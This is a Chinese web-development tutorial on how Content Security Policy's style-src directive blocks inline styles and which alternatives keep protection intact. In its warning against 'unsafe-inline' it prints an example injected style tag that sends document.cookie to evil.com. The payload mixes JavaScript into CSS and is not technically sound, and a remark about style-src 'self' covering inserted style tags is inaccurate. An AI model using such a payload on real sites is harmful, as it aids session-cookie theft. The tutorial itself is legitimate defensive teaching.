内联CSS被CSP拦截的直接原因是style-src指令默认禁用所有内联样式，包括style属性、style标签及setAttribute('style')或innerHTML注入的样式字符串；加'unsafe-inline'虽可绕过但彻底削弱防护，应改用预定义class、CSSStyleSheet.insertRule()或nonce机制。
内联CSS被CSP拦截的直接原因
浏览器看到 style 属性、<style> 标签或 JS 中通过 el.setAttribute('style', ...) / el.innerHTML 注入的样式字符串时，会主动检查 style-src 指令 —— 如果没显式允许，就直接拒绝应用，并在控制台报 Refused to apply inline style because it violates the following Content Security Policy directive。
style-src 默认不放行任何内联样式
style-src 'self' 这类写法只管外部 CSS 文件（比如 <link href="/main.css">），对内联样式完全无效。它既不隐式放行，也不提示你漏配，而是静默拦截。
-
<div style="color: red">→ 拦 -
<style>.foo { display: none }</style>→ 拦 -
el.style.color = 'blue'→ 不拦（这是 DOM API，非“内联样式”语义） -
el.setAttribute('style', 'margin: 0')→ 拦（触发 CSP 检查）
加 'unsafe-inline' 是最危险的解法
虽然在 style-src 里加上 'unsafe-inline' 能让所有内联样式跑起来，但它等于把 CSP 对样式的防护能力归零：
- XSS 成功后，攻击者可直接注入
<style>body{background:url(//evil.com/log?c='+document.cookie+')}</style>窃取信息 - 它无法区分“合法初始化样式”和“恶意注入”，一刀切放开
- 现代审计工具（如 Lighthouse、Snyk）会直接标红警告
真正可用的替代方案有哪些
绕过拦截的关键不是说服 CSP 放行，而是让样式本身不再“内联”：
立即学习“前端免费学习笔记（深入）”；
- 用预定义 class：写好
.highlight { background: yellow }，运行时只调el.classList.add('highlight') - 动态插入
<style>标签：需确保服务端 CSP 配了style-src 'self'或带nonce值，且标签挂上nonce="xxx" - 用
CSSStyleSheet.insertRule()：向已存在的<style>或document.styleSheets[0]追加规则，不依赖 nonce，兼容性到 IE9+ - 服务端渲染必须用内联？那就用 nonce，但注意：
nonce值必须每次响应唯一、不可预测，硬编码或复用会导致策略失效
最容易被忽略的是：CSP 的 style-src 和服务器返回的 Content-Type: text/css 是两件事。前者拦内联，后者决定外部 CSS 能不能加载 —— 两者都得对，页面样式才真正稳。
